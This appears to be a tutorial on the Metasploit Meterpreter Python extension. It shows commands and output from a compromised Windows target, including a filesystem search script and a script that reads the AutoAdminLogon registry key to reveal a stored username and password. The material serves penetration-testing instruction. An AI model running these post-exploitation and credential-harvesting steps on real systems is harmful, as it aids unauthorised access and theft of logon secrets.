Python Extension Examples

Here are some examples of the Python Extension in action. With time more functionality will be added, making the extension an even more powerful tool.

With the extension loaded, we can use basic Python function such as print. This can be achieved by using the python_execute command, and standard Python syntax.

meterpreter > python_execute "print 'Good morning! It\\'s 5am'"
[+] Content written to stdout:
Good morning! It's 5am

You can also save to a variable, and print its content using the -r switch.

meterpreter > python_execute "import os; cd = os.getcwd()" -r cd
[+] cd = C:\Users\loneferret\Downloads
meterpreter >

The following file is located in the “root” folder of our machine. What it does essentially, search the C:\ drive for any file called readme.txt. Although this can be done with meterpreter’s native search command. One observation, running through the filesystem, has crashed our meterpreter session more than once.

root@kali:~# cat findfiles.py
import os
for root, dirs, files in os.walk("c://"):
    for file in files:
        if file.endswith(".txt") and file.startswith("readme"):
             print(os.path.join(root, file))

In order to have this file run on our target machine, we need to invoke the python_import command. Using the -f switch to specify our script.

meterpreter > python_import -f /root/findfiles.py
[*] Importing /root/findfiles.py ...
[+] Content written to stdout:
c://Program Files\Ext2Fsd\Documents\readme.txt
c://qemu-0.13.0-windows\patch\readme.txt
c://Users\loneferret\Desktop\IM-v1.9.16.0\readme.txt

Another example, this time printing some memory information, and calling a Windows message box using the “ctypes” Python module.

meterpreter > python_import -f /root/ctypes_ex.py
[*] Importing /root/ctypes_ex.py ...
[+] Content written to stdout:
>WinDLL 'kernel32', handle 76e30000 at 4085e50>

metrepreter > python_import -f /root/msgbox.py
[*] Importing /root/msgbox.py ...
[+] Command executed without returning a result

Of course, this all depends on the level of access your current meterpreter has. Another simple Python script example, reads the Window’s registry for the “AutoAdminLogon” key.

meterpreter > python_import -f /root/readAutoLogonREG.py
[*] Importing /root/readAutoLogonREG.py ...
[+] Content written to stdout:


[+] Reading from AutoLogon Registry Location
[-] DefaultUserName loneferret
[-] DefaultPassword NoNotReally
[-] AutoAdminLogon Enabled